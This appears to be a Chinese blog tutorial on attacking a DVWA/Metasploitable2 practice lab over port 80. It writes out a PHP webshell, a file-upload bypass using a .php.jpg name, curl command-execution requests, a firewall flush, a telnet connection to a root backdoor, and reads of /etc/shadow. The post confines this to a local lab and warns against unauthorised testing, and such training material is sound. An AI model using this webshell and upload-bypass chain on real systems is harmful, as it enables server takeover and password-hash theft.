跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像AI 生图工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Shell / Bash

80 端口 Web 服务渗透测试总结:漏洞利用与提权实战

总结了基于 DVWA 靶机的 80 端口 Web 渗透测试流程。通过文件上传漏洞获取 WebShell,利用 curl 执行系统命令收集信息,发现 Metasploitable2 的 1524 后门端口,最终通过 telnet 连接获得 root 权限。文中详细记录了安全级别设置、WebShell 创建与上传、路径验证、命令执行及提权过程中的常见错误与解决方案。

安卓系统发布于 2026/4/6更新于 2026/7/2562 浏览

一、核心目标

通过 80 端口的 Web 应用(本次为 DVWA)漏洞,获取靶机的 Web 服务权限(www-data),最终通过信息收集利用系统后门拿到 root 权限,核心链路:Web 登录→漏洞利用→留后门(WebShell)→信息收集→提权/后门利用。

二、完整实战流程(含每步细节 + 命令)

阶段 1:前期准备(靶机 + 工具)
准备项具体内容注意事项
靶机环境Metasploitable2(IP:192.168.1.3),预装 DVWA(Web 应用)严禁接入公网,仅本地测试;默认账户:msfadmin/msfadmin、admin/password(DVWA)
攻击机Kali Linux(IP:192.168.1.4)确保与靶机同网段,开启 curl、nc、telnet、ssh 工具(默认已预装)
核心工具命令行工具(curl、nc、telnet)+ SSH(系统层面操作)新手优先用命令行,避免图形化工具(如蚁剑)的配置坑
阶段 2:Web 应用登录(DVWA)
步骤 1:访问 DVWA
  • 浏览器访问:http://192.168.1.3/dvwa
  • 直接登录:账号 admin、密码 password(跳过 Hydra 爆破,新手无需纠结爆破,聚焦漏洞利用)
  • 关键操作:登录后切换安全级别为 Low(右上角 DVWA Security),点击 Submit(Low 级别无任何防御,漏洞裸奔)
踩坑 1:忘记切换安全级别,导致文件上传失败
  • 报错表现:上传 PHP 文件提示'不允许的文件类型'
  • 原因:Medium/High 级别会过滤 PHP 后缀,Low 级别无过滤
  • 绕过:必须切换到 Low 级别,所有 Web 漏洞直接可用
阶段 3:漏洞利用(核心:文件上传漏洞,比 SQL 注入更简单)
步骤 2:创建 WebShell(后门文件)

WebShell 作用:上传到靶机后,通过 HTTP 请求执行系统命令,是长期控制 Web 服务的核心后门。

  • 木马核心逻辑:接收 POST 参数 cmd,执行系统命令并返回结果,避免'空白命令'警告。
# 创建基础一句话木马(兼容 PHP 环境)
echo '<?php if(isset($_POST["cmd"])){ $output = shell_exec($_POST["cmd"]); echo "<pre>$output</pre>"; } ?>' > /root/shell.php
# 赋予读写权限(避免本地文件权限问题)
chmod 777 /root/shell.php
步骤 3:上传 WebShell(绕前端验证)
方案 A:Web 页面直接上传(推荐新手)
  1. 登录 DVWA 后,左侧菜单点击 File Upload(文件上传模块);
  2. 本地将 shell.php 重命名为 shell.php.jpg(绕前端 JS 验证,前端仅校验后缀为图片格式);
  3. 点击 Choose File,选择 shell.php.jpg,点击 Upload;
  4. 上传成功后,页面会显示文件路径:/dvwa/hackable/uploads/shell.php.jpg(关键!记住此路径);
  5. 核心原理:Low 级别后端不校验文件后缀,shell.php.jpg会被当作 PHP 文件执行(Apache 解析规则)。
方案 B:curl 命令行上传(绕前端验证,适合无浏览器场景)
  • 前提:获取 DVWA 会话 ID(PHPSESSID)
    1. 浏览器登录 DVWA 后,按 F12→Application→Cookies→复制 PHPSESSID 的值(如 abc123xyz);
curl -F "uploaded=@/root/shell.php;filename=shell.php.jpg" -F "Upload=Upload" -b "PHPSESSID=abc123xyz; security=low" http://192.168.1.3/dvwa/vulnerabilities/upload/
踩坑 2:直接上传 shell.php 被前端拦截
  • 报错表现:'Invalid file type'(无效文件类型)
  • 原因:前端 JS 验证仅允许图片格式(.jpg/.png 等)
  • 绕过:重命名为 shell.php.jpg,后端不校验,仍按 PHP 执行
踩坑 3:curl 上传提示'Failed to open/read local data'
  • 报错表现:curl: (26) Failed to open/read local data from file/application
  • 原因:本地 shell.php 文件不存在或权限不足
  • 绕过:重新创建文件并赋权(执行阶段 2 的 echo 和 chmod 命令)
踩坑 4:上传路径错误,导致 404
  • 报错表现:访问 http://192.168.1.3/shell.php 提示 404
  • 原因:DVWA 的上传目录固定为 /dvwa/hackable/uploads/,而非根目录
  • 绕过:必须用完整路径访问,如 http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
阶段 4:验证 WebShell 可用性(执行系统命令)
步骤 4:测试命令执行(Kali 终端)

进阶测试(查看靶机信息):

# 查看靶机 IP(需用完整路径,老旧系统环境变量问题)
curl -X POST -d "cmd=/sbin/ifconfig" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
# 查看靶机开放端口(完整路径)
curl -X POST -d "cmd=/bin/netstat -tulpn" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg

基础测试(验证权限):

# 执行 whoami,返回 www-data 即成功(Web 服务默认用户)
curl -X POST -d "cmd=whoami" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
踩坑 5:执行 ifconfig 返回空
  • 报错表现:curl 请求后仅返回 <pre></pre>,无内容
  • 原因:Metasploitable2 是老旧系统(Ubuntu 8.04),ifconfig 在 /sbin/ 目录下,www-data 用户的环境变量不含 /sbin,直接输 ifconfig 找不到命令
  • 绕过:所有系统命令用完整路径,如 /sbin/ifconfig、/bin/netstat、/bin/ls
踩坑 6:WebShell 提示'Cannot execute a blank command'
  • 报错表现:PHP 警告'无法执行空白命令'
  • 原因:WebShell 代码未判断 cmd 参数是否存在,空请求触发警告
  • 绕过:使用带判断的代码(阶段 2 的 if(isset($_POST["cmd"])) 逻辑),避免裸奔的 eval($_POST["cmd"])
阶段 5:信息收集(关键!找提权捷径)

通过 WebShell 执行 netstat 命令,收集靶机端口信息,发现高危漏洞:

curl -X POST -d "cmd=/bin/netstat -tulpn" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
  • 核心发现:靶机开放 1524 端口(Metasploitable2 默认后门端口,直接连接获 root 权限)
踩坑 7:cat /etc/shadow 返回空
  • 报错表现:无任何输出
  • 原因:/etc/shadow 是敏感文件(存储密码哈希),仅 root 用户可读取,www-data 权限不足
  • 绕过:需提权或利用系统后门(如 1524 端口)
阶段 6:提权(利用系统后门,快速拿 root)
步骤 5:连接 1524 后门端口(Kali 终端)
# 用 telnet 直接连接后门端口,无需密码
telnet 192.168.1.3 1524
  • 成功标志:连接后显示 root@metasploitable:/#(直接获得 root 权限)
步骤 6:验证 root 权限

执行高权限操作:

passwd www-data # 修改 Web 用户密码(root 专属权限)
/sbin/shutdown -h now # 关闭靶机(测试用,谨慎执行)

读取敏感文件:

cat /etc/shadow # 成功返回所有用户密码哈希
ls /root # 查看 root 目录下的 flag 文件(渗透测试目标)
踩坑 8:telnet 连接 1524 端口失败
  • 报错表现:Trying 192.168.1.3... Connection refused
  • 原因:靶机防火墙拦截,或后门端口未启动(Metasploitable2 默认开启)
  • 绕过:执行 curl -X POST -d "cmd=/sbin/iptables -F" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg(关闭防火墙),再重新连接
踩坑 9:root 用户执行 /etc/shadow 提示权限拒绝
  • 报错表现:bash: /etc/shadow: Permission denied
  • 原因:输入命令时少了 cat,直接执行文件(/etc/shadow 是文本文件,不可执行)
  • 绕过:正确命令是 cat /etc/shadow(读取文件内容)

三、所有踩坑汇总(按出现顺序)

序号报错信息核心原因解决方案
1文件上传提示'不允许的文件类型'未切换 DVWA 安全级别为 Low登录 DVWA→DVWA Security→选择 Low→Submit
2curl: (26) Failed to open/read local data本地 shell.php 不存在或权限不足重新创建:echo '代码' > /root/shell.php + chmod 777 /root/shell.php
3访问 WebShell 提示 404路径错误,未包含 /dvwa/hackable/uploads/用完整路径:http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
4执行 ifconfig 返回空老旧系统命令需完整路径,环境变量不含 /sbin用 /sbin/ifconfig 替代 ifconfig,所有系统命令补全路径
5PHP 警告'Cannot execute a blank command'WebShell 代码未判断 cmd 参数用带 if(isset($_POST["cmd"])) 的代码,避免裸奔 eval
6cat /etc/shadow 返回空www-data 权限不足,无法读取敏感文件利用 1524 后门端口获取 root 权限后再读取
7telnet 连接 1524 提示 Connection refused靶机防火墙拦截用 WebShell 执行 /sbin/iptables -F 关闭防火墙
8root 用户执行 /etc/shadow 提示权限拒绝少输 cat 命令,直接执行文件正确命令:cat /etc/shadow(读取文件而非执行)

四、关键知识点(新手必记)

1. WebShell 相关
  • 核心作用:作为 Web 服务的后门,通过 HTTP 请求执行系统命令,无需 SSH 连接;
  • 常用代码:<?php if(isset($_POST["cmd"])){ shell_exec($_POST["cmd"]); } ?>(稳定无警告);
  • 后缀绕过:前端拦截时,重命名为 xxx.php.jpg(后端不校验,Apache 按 PHP 解析)。
2. Linux 权限相关
  • www-data:Web 服务默认低权限用户,仅能操作 Web 目录,无法读取 /etc/shadow 等敏感文件;
  • root:系统最高权限用户,可执行任何操作(读敏感文件、改密码、关服务);
  • sudo 重定向坑:sudo echo 代码 > 文件 会报错(重定向不受 sudo 保护),需用 sudo cat > 文件 << EOF 或 sudo nano 文件。
3. 老旧系统(Metasploitable2)特性
  • 命令需完整路径:/sbin/ifconfig、/bin/netstat、/bin/sh(新系统可省略路径);
  • SSH 兼容问题:Kali 新版禁用 ssh-rsa 算法,连接需加参数:ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa [email protected];
  • 终端兼容问题:SSH 连接后执行 sudo nano 提示'Error opening terminal: xterm-256color',需先执行 export TERM=xterm 临时修复。
4. 端口与后门
  • 80 端口:Web 服务默认端口,漏洞集中(文件上传、SQL 注入、XSS 等);
  • 1524 端口:Metasploitable2 默认后门端口,直接 telnet 连接获 root 权限,是渗透测试的'捷径';
  • 其他高危端口:21(FTP)、22(SSH)、3306(MySQL),可后续测试弱密码爆破。

五、简化流程(下次 10 分钟搞定)

  1. 登录 DVWA(admin/password)→ 切 Low 级别;
  2. 本地创建 shell.php→重命名为 shell.php.jpg;
  3. Web 页面上传→复制上传路径;
  4. curl 测试:curl -X POST -d "cmd=/sbin/ifconfig" 路径;
  5. netstat 找 1524 端口→telnet 连接获 root;
  6. cat /etc/shadow 验证权限。

六、注意事项

  1. 靶机仅用于本地测试,严禁接入公网(存在大量高危漏洞,易被攻击);
  2. 所有命令需按靶机路径调整(如 DVWA 路径、命令完整路径);
  3. 保存好 WebShell 路径,后续可直接使用,无需重复上传;
  4. 渗透测试需获得授权,未经授权测试他人服务器属违法行为。

目录

  1. 一、核心目标
  2. 二、完整实战流程(含每步细节 + 命令)
  3. 阶段 1:前期准备(靶机 + 工具)
  4. 阶段 2:Web 应用登录(DVWA)
  5. 步骤 1:访问 DVWA
  6. 踩坑 1:忘记切换安全级别,导致文件上传失败
  7. 阶段 3:漏洞利用(核心:文件上传漏洞,比 SQL 注入更简单)
  8. 步骤 2:创建 WebShell(后门文件)
  9. 创建基础一句话木马(兼容 PHP 环境)
  10. 赋予读写权限(避免本地文件权限问题)
  11. 步骤 3:上传 WebShell(绕前端验证)
  12. 方案 A:Web 页面直接上传(推荐新手)
  13. 方案 B:curl 命令行上传(绕前端验证,适合无浏览器场景)
  14. 踩坑 2:直接上传 shell.php 被前端拦截
  15. 踩坑 3:curl 上传提示“Failed to open/read local data”
  16. 踩坑 4:上传路径错误,导致 404
  17. 阶段 4:验证 WebShell 可用性(执行系统命令)
  18. 步骤 4:测试命令执行(Kali 终端)
  19. 查看靶机 IP(需用完整路径,老旧系统环境变量问题)
  20. 查看靶机开放端口(完整路径)
  21. 执行 whoami,返回 www-data 即成功(Web 服务默认用户)
  22. 踩坑 5:执行 ifconfig 返回空
  23. 踩坑 6:WebShell 提示“Cannot execute a blank command”
  24. 阶段 5:信息收集(关键!找提权捷径)
  25. 踩坑 7:cat /etc/shadow 返回空
  26. 阶段 6:提权(利用系统后门,快速拿 root)
  27. 步骤 5:连接 1524 后门端口(Kali 终端)
  28. 用 telnet 直接连接后门端口,无需密码
  29. 步骤 6:验证 root 权限
  30. 踩坑 8:telnet 连接 1524 端口失败
  31. 踩坑 9:root 用户执行 /etc/shadow 提示权限拒绝
  32. 三、所有踩坑汇总(按出现顺序)
  33. 四、关键知识点(新手必记)
  34. 1. WebShell 相关
  35. 2. Linux 权限相关
  36. 3. 老旧系统(Metasploitable2)特性
  37. 4. 端口与后门
  38. 五、简化流程(下次 10 分钟搞定)
  39. 六、注意事项
  • 免费图片AI生成工具免费生成了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 免费图片视频在线生成30秒,将你的创意变成现实开始设计
  • X/Twitter免费视频下载器免登陆无限额度免费视频解析下载了解详情
  • 100+免费在线小游戏爽一把
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • 从树到森林:决策树、随机森林与可解释性
  • Linux 系统安装 Docker Engine 完整指南
  • AI Agent 新范式:基于 FastGPT 与 MCP 协议构建工具增强型智能体
  • Windows 与 Mac 系统运行 Flash 浏览器解决方案
  • Java 核心技术面试指南:基础、JVM 与框架实战
  • 大语言模型(LLM)入门指南与核心技术解析
  • AIGC视频生成成本优化:20秒与30秒模型选型与价格对比
  • SSM 教学管理系统设计与实现
  • 2025 CCF CSP-J1 入门级 C++ 试题及答案解析
  • Minecraft Java 版 Forge 服务器搭建教程
  • OpenCode 开源 AI 编程助手简介
  • 宇树 G1 人形机器人 VR 遥操与 IL 开发:从 xr_teleoperate 到 unitree_IL_lerobot
  • 扣子(Coze)Skills+OpenClaw 实战:零基础打造 AI 智能体
  • 使用 AI 快速验证 GIT 环境配置方案
  • 为什么 AI 产品经理日渐成为热门职业
  • Manacher 算法详解:求解最长回文子串
  • 网络安全学习路线整理:从入门到进阶的技术指南
  • QLoRA 高效微调技术实战:基于 LLaMA-65B 仅需 48G 显存
  • Z-Image-Turbo WebUI 跨平台兼容性:Windows 与 Linux 表现对比
  • Spring Boot 数据可视化与图表集成

相关免费在线工具

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online

  • HTML转Markdown

    将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online

  • JSON 压缩

    通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online

  • JSON美化和格式化

    将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online